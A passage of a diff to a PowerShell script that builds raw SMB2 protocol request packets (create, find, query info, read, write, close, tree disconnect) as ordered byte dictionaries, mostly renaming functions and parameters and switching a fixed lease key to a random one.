$packet_SMB2CreateRequest.Add("SMB2CreateRequest_SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_DesiredAccess",$packet_desired_access) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_FileAttributes",$packet_file_attributes) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ShareAccess",$packet_share_access) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_CreateOptions",$packet_create_options) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_NameOffset",[Byte[]](0x78,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_NameLength",$packet_file_name_length) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_CreateContextsOffset",$packet_create_contexts_offset) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_CreateContextsLength",$packet_create_contexts_length) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_Buffer",$packet_file_name) - - if($packet_extra_info) + [String]$lease_key = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + [Byte[]]$lease_key = $lease_key.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $SMB2CreateRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2CreateRequest.Add("StructureSize",[Byte[]](0x39,0x00)) + $SMB2CreateRequest.Add("Flags",[Byte[]](0x00)) + $SMB2CreateRequest.Add("RequestedOplockLevel",[Byte[]](0x00)) + $SMB2CreateRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("DesiredAccess",$desired_access) + $SMB2CreateRequest.Add("FileAttributes",$file_attributes) + $SMB2CreateRequest.Add("ShareAccess",$share_access) + $SMB2CreateRequest.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("CreateOptions",$create_options) + $SMB2CreateRequest.Add("NameOffset",[Byte[]](0x78,0x00)) + $SMB2CreateRequest.Add("NameLength",$file_name_length) + $SMB2CreateRequest.Add("CreateContextsOffset",$create_contexts_offset) + $SMB2CreateRequest.Add("CreateContextsLength",$create_contexts_length) + $SMB2CreateRequest.Add("Buffer",$FileName) + + if($ExtraInfo) { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_ChainOffset",[Byte[]](0x28,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Tag_Offset",[Byte[]](0x10,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Data_Offset",[Byte[]](0x18,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Data_Length",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Tag",[Byte[]](0x44,0x48,0x6e,0x51)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementDHnQ_Data_GUIDHandle",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - if($packet_extra_info -eq 3) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_ChainOffset",[Byte[]](0x28,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Offset",[Byte[]](0x10,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Offset",[Byte[]](0x18,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Length",[Byte[]](0x10,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag",[Byte[]](0x44,0x48,0x6e,0x51)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_GUIDHandle",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($ExtraInfo -eq 3) { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_ChainOffset",[Byte[]](0x20,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Tag_Offset",[Byte[]](0x10,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Data_Offset",[Byte[]](0x18,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Data_Length",[Byte[]](0x08,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Tag",[Byte[]](0x41,0x6c,0x53,0x69)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementAlSi_AllocationSize",$packet_allocation_size_bytes) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_ChainOffset",[Byte[]](0x20,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Offset",[Byte[]](0x10,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Offset",[Byte[]](0x18,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Length",[Byte[]](0x08,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag",[Byte[]](0x41,0x6c,0x53,0x69)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_AllocationSize",$allocation_size_bytes) } - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Tag_Offset",[Byte[]](0x10,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Data_Offset",[Byte[]](0x18,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Tag",[Byte[]](0x4d,0x78,0x41,0x63)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementMxAc_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Offset",[Byte[]](0x10,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Offset",[Byte[]](0x18,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag",[Byte[]](0x4d,0x78,0x41,0x63)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - if($packet_extra_info -gt 1) + if($ExtraInfo -gt 1) { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) } else { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) } - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Tag_Offset",[Byte[]](0x10,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Data_Offset",[Byte[]](0x18,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Tag",[Byte[]](0x51,0x46,0x69,0x64)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementQFid_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - - if($packet_extra_info -gt 1) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Offset",[Byte[]](0x10,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Offset",[Byte[]](0x18,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag",[Byte[]](0x51,0x46,0x69,0x64)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + + if($ExtraInfo -gt 1) { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Tag_Offset",[Byte[]](0x10,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Offset",[Byte[]](0x18,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Length",[Byte[]](0x20,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Tag",[Byte[]](0x52,0x71,0x4c,0x73)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - - if($packet_extra_info -eq 2) - { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Lease_Key",[Byte[]](0x10,0xb0,0x1d,0x02,0xa0,0xf8,0xff,0xff,0x47,0x78,0x67,0x02,0x00,0x00,0x00,0x00)) - } - else - { - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Lease_Key",[Byte[]](0x10,0x90,0x64,0x01,0xa0,0xf8,0xff,0xff,0x47,0x78,0x67,0x02,0x00,0x00,0x00,0x00)) - } - - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Lease_State",[Byte[]](0x07,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Lease_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ExtraInfo_ChainElementRqLs_Data_Lease_Duration",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Offset",[Byte[]](0x10,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Offset",[Byte[]](0x18,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Length",[Byte[]](0x20,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag",[Byte[]](0x52,0x71,0x4c,0x73)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Key",$lease_key) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_State",[Byte[]](0x07,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Duration",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) } } - return $packet_SMB2CreateRequest + return $SMB2CreateRequest } -function Get-PacketSMB2FindRequestFile() +function New-PacketSMB2FindRequestFile { - param ([Byte[]]$packet_file_ID,[Byte[]]$packet_padding) - - $packet_SMB2FindRequestFile = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_StructureSize",[Byte[]](0x21,0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_InfoLevel",[Byte[]](0x25)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_Flags",[Byte[]](0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_FileIndex",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_FileID",$packet_file_ID) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Offset",[Byte[]](0x60,0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Length",[Byte[]](0x02,0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_OutputBufferLength",[Byte[]](0x00,0x00,0x01,0x00)) - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern",[Byte[]](0x2a,0x00)) - - if($packet_padding) + param ([Byte[]]$FileID,[Byte[]]$Padding) + + $SMB2FindRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2FindRequestFile.Add("SMB2FindRequestFile_StructureSize",[Byte[]](0x21,0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_InfoLevel",[Byte[]](0x25)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_Flags",[Byte[]](0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_FileIndex",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_FileID",$FileID) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Offset",[Byte[]](0x60,0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Length",[Byte[]](0x02,0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_OutputBufferLength",[Byte[]](0x00,0x00,0x01,0x00)) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern",[Byte[]](0x2a,0x00)) + + if($padding) { - $packet_SMB2FindRequestFile.Add("SMB2FindRequestFile_Padding",$packet_padding) + $SMB2FindRequestFile.Add("SMB2FindRequestFile_Padding",$Padding) } - return $packet_SMB2FindRequestFile + return $SMB2FindRequestFile } -function Get-PacketSMB2QueryInfoRequest() +function New-PacketSMB2QueryInfoRequest { - param ([Byte[]]$packet_info_type,[Byte[]]$packet_file_info_class,[Byte[]]$packet_output_buffer_length,[Byte[]]$packet_input_buffer_offset,[Byte[]]$packet_file_ID,[Int]$packet_buffer) - - [Byte[]]$packet_buffer_bytes = ,0x00 * $packet_buffer - - $packet_SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_StructureSize",[Byte[]](0x29,0x00)) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_InfoType",$packet_info_type) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_FileInfoClass",$packet_file_info_class) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_OutputBufferLength",$packet_output_buffer_length) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_InputBufferOffset",$packet_input_buffer_offset) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_FileID",$packet_file_ID) - - if($packet_buffer -gt 0) + param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$OutputBufferLength,[Byte[]]$InputBufferOffset,[Byte[]]$FileID,[Int]$Buffer) + + [Byte[]]$buffer_bytes = ,0x00 * $Buffer + + $SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00)) + $SMB2QueryInfoRequest.Add("InfoType",$InfoType) + $SMB2QueryInfoRequest.Add("FileInfoClass",$FileInfoClass) + $SMB2QueryInfoRequest.Add("OutputBufferLength",$OutputBufferLength) + $SMB2QueryInfoRequest.Add("InputBufferOffset",$InputBufferOffset) + $SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("FileID",$FileID) + + if($Buffer -gt 0) { - $packet_SMB2QueryInfoRequest.Add("SMB2QueryInfoRequest_Buffer",$packet_buffer_bytes) + $SMB2QueryInfoRequest.Add("Buffer",$buffer_bytes) } - return $packet_SMB2QueryInfoRequest + return $SMB2QueryInfoRequest } -function Get-PacketSMB2SetInfoRequest() +function New-PacketSMB2ReadRequest { - param ([Byte[]]$packet_info_type,[Byte[]]$packet_file_info_class,[Byte[]]$packet_file_ID,[Byte[]]$packet_buffer) - - [Byte[]]$packet_buffer_length = [System.BitConverter]::GetBytes($packet_buffer.Count) - - $packet_SMB2SetInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_StructureSize",[Byte[]](0x21,0x00)) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_InfoType",$packet_info_type) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_FileInfoClass",$packet_file_info_class) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_BufferLength",$packet_buffer_length) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_BufferOffset",[Byte[]](0x60,0x00)) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_FileID",$packet_file_ID) - $packet_SMB2SetInfoRequest.Add("SMB2SetInfoRequest_Buffer",$packet_buffer) - - return $packet_SMB2SetInfoRequest + param ([Int]$Length,[Int64]$Offset,[Byte[]]$FileID) + + [Byte[]]$length_bytes = [System.BitConverter]::GetBytes($Length) + [Byte[]]$offset_bytes = [System.BitConverter]::GetBytes($Offset) + + $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) + $SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) + $SMB2ReadRequest.Add("Length",$length_bytes) + $SMB2ReadRequest.Add("Offset",$offset_bytes) + $SMB2ReadRequest.Add("FileID",$FileID) + $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) + + return $SMB2ReadRequest } -function Get-PacketSMB2ReadRequest() +function New-PacketSMB2WriteRequest { - param ([Int]$packet_length,[Int64]$packet_offset,[Byte[]]$packet_file_ID) - - [Byte[]]$packet_length_bytes = [System.BitConverter]::GetBytes($packet_length) - [Byte[]]$packet_offset_bytes = [System.BitConverter]::GetBytes($packet_offset) - - $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize",[Byte[]](0x31,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding",[Byte[]](0x50)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags",[Byte[]](0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length",$packet_length_bytes) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset",$packet_offset_bytes) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID",$packet_file_ID) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset",[Byte[]](0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength",[Byte[]](0x00,0x00)) - $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer",[Byte[]](0x30)) - - return $packet_SMB2ReadRequest + param([Int]$Length,[Int64]$Offset,[Byte[]]$FileID,[Byte[]]$Buffer) + + [Byte[]]$length_bytes = [System.BitConverter]::GetBytes($Length) + [Byte[]]$offset_bytes = [System.BitConverter]::GetBytes($Offset) + + $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) + $SMB2WriteRequest.Add("Length",$length_bytes) + $SMB2WriteRequest.Add("Offset",$offset_bytes) + $SMB2WriteRequest.Add("FileID",$FileID) + $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("SMB2WriteRequest_Buffer",$Buffer) + + return $SMB2WriteRequest } -function Get-PacketSMB2WriteRequest() +function New-PacketSMB2CloseRequest { - param ([Int]$packet_length,[Int64]$packet_offset,[Byte[]]$packet_file_ID,[Byte[]]$packet_buffer) - - [Byte[]]$packet_length_bytes = [System.BitConverter]::GetBytes($packet_length) - [Byte[]]$packet_offset_bytes = [System.BitConverter]::GetBytes($packet_offset) - - $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize",[Byte[]](0x31,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset",[Byte[]](0x70,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length",$packet_length_bytes) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset",$packet_offset_bytes) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID",$packet_file_ID) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset",[Byte[]](0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength",[Byte[]](0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Buffer",$packet_buffer) - - return $packet_SMB2WriteRequest + param ([Byte[]]$FileID) + + $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) + $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) + $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CloseRequest.Add("FileID",$FileID) + + return $SMB2CloseRequest } -function Get-PacketSMB2CloseRequest() +function New-PacketSMB2TreeDisconnectRequest { - param ([Byte[]]$packet_file_ID) - - $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize",[Byte[]](0x18,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags",[Byte[]](0x00,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID",$packet_file_ID) + $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) - return $packet_SMB2CloseRequest + return $SMB2TreeDisconnectRequest } -function Get-PacketSMB2TreeDisconnectRequest() +function New-PacketSMB2SessionLogoffRequest { - $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize",[Byte[]](0x04,0x00)) - $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved",[Byte[]](0x00,0x00)) + $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + 